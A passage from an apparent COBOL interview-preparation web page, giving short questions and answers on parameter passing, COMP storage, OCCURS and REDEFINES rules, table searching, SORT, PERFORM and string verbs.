<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The calling program passes only the contents of the <var><span style="font-family: Arial;">literal</span></var>, or <var><span style="font-family: Arial;">identifier</span></var>. With a </span><tt><span style="font-size: 10pt;">CALL</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">.</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">.</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">.</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">BY</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">CONTENT</span></tt><span style="font-size: 10pt; font-family: Arial;">, the called program cannot change the value of the <var><span style="font-family: Arial;">literal</span></var> or <var><span style="font-family: Arial;">identifier</span></var> in the calling program, even if it modifies the variable in which it received the <var><span style="font-family: Arial;">literal</span></var> or <var><span style="font-family: Arial;">identifier</span></var>. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">16. What does passing BY VALUE mean?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The calling program or method is passing the value of the <var><span style="font-family: Arial;">literal</span></var>, or <var><span style="font-family: Arial;">identifier</span></var>, not a reference to the sending data item. The called program or invoked method can change the parameter in the called program or invoked method. However, because the subprogram or method has access only to a temporary copy of the sending data item, those changes do not affect the argument in the calling program. Use By value, If you want to pass data to C program. Parameters must be of certain data type. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">17. What is the default, passing BY REFERENCE or passing BY CONTENT or passing BY VALUE?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Passing by reference (the caller and the called share the same memory).</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">18. Where do you define your data in a program if the data is passed to the program from a Caller program?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Linkage Section</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">19. Define the structure of a COBOL subroutine.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The PROCEDURE DIVISION header must have a using a phrase, if the data needs to be passed to the program. The operands of the USING phrase must be defined in the LINKAGE SECTION as 01-level or 77-level entries. No VALUE clause is allowed unless the data defined is a condition name. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">If the program needs to be returned to the CALLER, use EXIT PROGRAM statement at the end of the program. GOBACK is an alternative, but is nonstandard. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">20. What is difference between next sentence and continue </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. NEXT SENTENCE gives control to the verb following the next period. CONTINUE gives control to the next verb after the explicit scope terminator. (This is not one of COBOL II&#8217;s finer implementations). It&#8217;s safest to use CONTINUE rather than NEXT SENTENCE in COBOL II. CONTINUE is like a null statement (do nothing) , while NEXT SENTENCE transfers control to the next sentence (!!) (A sentence is terminated by a period). Check out by writing the following code example, one if sentence followed by 3 display statements: If 1 &gt; 0 then next sentence end if display &#8216;line 1&#8242; display &#8216;line 2&#8242;. display &#8216;line 3&#8242;. *** Note- there is a dot (.) only at the end of the last 2 statements, see the effect by replacing Next Sentence with Continue *** </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">21. What is the difference between Structured Cobol Programming and Object Oriented COBOL programming? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Structured programming is a Logical way of programming using which you divide the functionality&#8217;s into modules and code logically. OOP is a Natural way of programming in which you identify the objects, first then write functions and procedures around the objects. Sorry, this may not be an adequate answer, but they are two different programming paradigms, which is difficult to put in a sentence or two. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">22. PIC S9(4)COMP IS USED INPSPITE OF COMP-3 WHICH OCCUPIES LESS SPACE.WHY? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. S9(4) COMP uses only 2 bytes. 9(4) COMP-3 uses 3 bytes. 3 bytes are more than 2 bytes. Hence COMP is preferred over COMP-3 in this case.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">23. How many number of bytes and digits are involved in S9(10) COMP?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l23 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">8 bytes (double word) and 10 digits. Up to 9(9) comp use full word, up to 9(18) comp needs double word. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">24. Which picture clause will you use to define a hexadecimal item in a VALUE clause?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 01 ws-hexitem PIC X(2) value X&#8217;020C&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">01 ws-hex redefines PIC S9(3) comp-3.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">25. How many numbers of decimal digits are possible, when the amount of storage allocated for a USAGE COMP item is a)</span><span style="font-size: 10pt; font-family: Arial;"> <span style="color: blue;">half word b) full word c) double word?</span></span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 2 bytes (halfword) for 1-4 Digits 4 bytes (fullword) for 5-9 </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">8 bytes (doubleword) for 10-18 </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">26. What is a scope terminator? Give examples.</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level1 lfo9; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Scope terminator is used to mark the end of a verb e.g. EVALUATE, END-EVALUATE; IF, END-IF. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">27. How many dimensions are allowed for a table?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 7</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">28. How many subscripts or indexes are allowed for an OCCURS clause?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 7</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">29. Why cannot Occurs be used in 01 level? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Because, Occurs clause is there to repeat fields with the same format, but not the records. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">30. Can a REDEFINES clause be used along with an OCCURS clause?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Yes, if the REDEFINES clause is subordinate to OCCURS clause.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">31. Can you specify PIC clause and a VALUE with an OCCURS clause? Will the following code compile without errors?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES PIC X(1) VALUE SPACES</span><span style="font-size: 10pt; font-family: Arial;">.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Yes, the code will compile without any errors. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">32. What would be the output, when the following code is executed?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES PIC X(1) VALUE &#8216;AAAAA&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. It cannot be executed because the code will compile with error &#8216; &#8220;VALUE&#8221; literal &#8220;&#8216;AAAA&#8217;&#8221; exceeded the length specified in the &#8220;PICTURE&#8221; definition&#8217;. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">33. 01 WS-TABLE.</span></p>
<p style="margin-left: 1in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES PIC X(1) VALUE &#8216;A&#8217;.</span></p>
<p style="margin-left: 1in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-EX REDEFINES WS-TABLE-EL PIC X(5). What can you expect?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Compile error. Direct Redefinition of OCCURS clause is not allowed.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">34. 01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES.</span></p>
<p style="margin-left: 2in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">04 FILLER-X PIC X(1) VALUE &#8216;A&#8217;. 04 WS-EX REDEFINES FILLER-X PIC X(1). </span></p>
<p style="margin-left: 1in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">What would be the output of DISPLAY WS-TABLE?</span><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. &#8216;AAAAA&#8217;. The code will compile and execute as Redefinition of an item subordinate to OCCURS clause.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">35. Is this allowed?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 FILLER-X PIC X(5) VALUE &#8216;AAAAA&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-EX REDEFINES FILLER-X.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">04 WS-TABLE-EL OCCURS 5 TIMES PIC X(1).</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Yes</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">35. Is this allowed?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 FILLER-X PIC X(5) VALUE &#8216;AAAAA&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-EX REDEFINES FILLER-X OCCURS 5 TIMES PIC X(1).</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Yes</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">36. Which SEARCH verb is equivalent to PERFORM&#8230;VARYING?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l16 level1 lfo12; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">The serial SEARCH verb (SEARCH without ALL) </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">37. What would be the output, when the following code is executed?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES PIC X(1) VALUE &#8216;A&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">:::</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">DISPLAY WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The output will display &#8216;AAAAA&#8217; </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">38. Can a SEARCH be applied to a table which does not have an INDEX defined?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. No, the table must be indexed.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">39. What are the different rules applicable to perform a serial SEARCH?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The SEARCH can be applied to only a table which has the OCCURS clause and INDEXED BY phrase,</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">Before the use of the SEARCH the index must have some initial value. To search from beginning, set the index value to 1. Use the SEARCH verb without ALL phrase</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">40. A table has two indexes defined. Which one will be used by the SEARCH verb?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The index named first will be used, by Search. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">41. What are the different rules applicable to perform a binary SEARCH?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The table must be sorted in ascending or descending order before the beginning of the SEARCH. Use OCCURS clause with ASC/DESC KEY IS dataname1 option</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">The table must be indexed. There is no need to set the index value. Use SEARCH ALL verb</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">42. How does the binary search work?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. First the table is split into two halves and in which half, the item need to be searched is determined. The half to which the desired item may belong is again divided into two halves and the previous procedure is followed. This continues until the item is found. SEARCH ALL is efficient for tables larger than 70 items. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">43. What is the difference between a binary search and a sequential search? What are the pertinent COBOL commands? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. In a binary search the table element key values must be in ascending or descending sequence. The table is &#8216;halved&#8217; to search for equal to, greater than or less than conditions until the element is found. In a sequential search the table is searched from top to bottom, so (ironically) the elements do not have to be in a specific sequence. The binary search is much faster for larger tables, While sequential Search works well with smaller ones. SEARCH ALL is used for binary searches; SEARCH for sequential. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">44. Explain the difference between an internal and an external sort. The pros &amp; cons &amp; internal sort syntax &#8230; </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. An external sort is not coded as a COBOL program; it is performed through JCL and PGM=SORT. One can use IBM utility SYNCSORT for external sort process. It is understandable without any code reference. An internal sort can use two different syntaxes: 1.) USING, GIVING sorts are comparable to external sorts with no extra file processing; 2) INPUT PROCEDURE, OUTPUT PROCEDURE sorts allow for data manipulation before and/or after the sort. Syntax:</span></p>
<ul type="disc">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">SORT file-1 ON ASCENDING/DESCENDING KEY key&#8230;USING file-2 GIVING file-3. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">USING can be substituted by INPUT PROCEDURE IS para-1 THRU para-2 </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">GIVING can be substituted by OUTPUT PROCEDURE IS para-1 THRU para-2. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">file-1 is the sort workfile and must be described using SD entry in FILE SECTION. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">file-2 is the input file for the SORT and must be described using an FD entry in FILE SECTION and SELECT clause in FILE CONTROL. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">file-3 is the outfile from the SORT and must be described using an FD entry in FILE SECTION and SELECT clause in FILE CONTROL. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">file-1, file-2 &amp; file-3 should not be opened explicitly. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">INPUT PROCEDURE is executed before the sort and records must be RELEASEd to the sort work file from the input procedure. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">OUTPUT PROCEDURE is executed after all records have been sorted. Records from the sort work file must be RETURNed one at a time to the output procedure. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">.How do you define a sort file in JCL that runs the COBOL program? </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Use the SORTWK01, SORTWK02,&#8230;.. dd names in the step. Number of sort datasets depends on the volume of data being sorted, but a minimum of 3 is required. </span></li>
</ul>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">45. Which is the default, TEST BEFORE or TEST AFTER for a PERFORM statement?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l30 level1 lfo18; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">TEST BEFORE. By default the condition is checked before executing the instructions under Perform. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">46. What is the difference between PERFORM &#8230; WITH TEST AFTER and PERFORM &#8230; WITH TEST BEFORE?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. If TEST BEFORE is specified, the condition is tested at the beginning of each repeated execution of the specified PERFORM range. If TEST AFTER is specified, the condition is tested at the end of the each repeated execution of the PERFORM range. With TEST AFTER, the range is executed at least once.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">47. How do you code an in-line PERFORM?</span><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. PERFORM &#8230; &lt;UNTIL&gt; &#8230; &lt;statements&gt; END-PERFORM.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">48. In an EVALUTE statement is the order of the WHEN clauses significant? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l6 level1 lfo21; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Yes. Evaluation of the WHEN clauses proceeds from top to bottom and their sequence can determine results. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">49. What is the default value(s) for an INITIALIZE and what keyword allows for an override of the default.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. INITIALIZE sets spaces to alphabetic and alphanumeric fields. Initialize sets Zeroes to numeric fields. FILLER, OCCURS DEPENDING ON items are left untouched. The REPLACING option can be used to override these defaults. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">50. What is SET &lt;condition-name&gt; TO TRUE all about, anyway? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. In COBOL II the 88 levels can be set rather than moving their associated values to the related data item. (Web note: This change is not one of COBOL II&#8217;s better specifications.) </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">51. What is LENGTH in COBOL II? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. LENGTH acts like a special register to tell the length of a group or an elementary item.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">52. What is the function of a delimiter in STRING?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. A delimiter in STRING causes a sending field to be ended and another to be started.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">53. What is the function of a delimiter in UNSTRING?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. A delimiter when encountered in the sending field causes the current receiving field to be switched to the next one indicated.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">54. How will you count the number of characters in a null-terminated string?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: 'Courier New';">A. MOVE</span><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">0</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">TO</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">char-count</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: 'Courier New';">INSPECT</span><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">null-terminated-string</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">TALLYING</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">char-count</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">FOR</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">CHARACTERS</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">BEFORE</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">X&#8221;00&#8243;</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">55. Which statement will you use to move non-null characters from a null-terminated String?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: 'Courier New';">A. UNSTRING</span><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">null-terminated-string</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">DELIMITED</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">BY</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">X&#8221;00&#8243;</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">INTO</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">target-area</span></samp></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: 'Courier New';">COUNT</span><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">IN</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">char-count</span></samp><span style="font-size: 10pt; font-family: Arial;">. (There are other methods, such as 1) using PERFORM 2) using SEARCH 3) using INSPECT and MOVE etc&#8230;) </span><span style="font-family: Arial;"></span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">56.<strong> 77 COUNTR</strong></span><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">PIC</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">9</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">VALUE</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">ZERO.</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">01</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">DATA-2</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">PIC</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">X(11).</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">.</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">.</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">INSPECT</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">DATA-2</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">TALLYING</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">COUNTR</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">FOR</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">LEADING</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;0&#8243;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">REPLACING</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">FIRST</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;A&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">BY</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;2&#8243;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">AFTER</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">INITIAL</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;C&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">If DATA-2 is 0000ALABAMA, what will DATA-2 and COUNTER be after the execution of INSPECT verb? </span></p>
<pre style="margin-left: 0.5in;">A.<span style="mso-tab-count: 1;">       </span>Counter=4.<span style="mso-tab-count: 2;">             </span>Data-2 will not change as the Initial 'C' is not found.</pre>
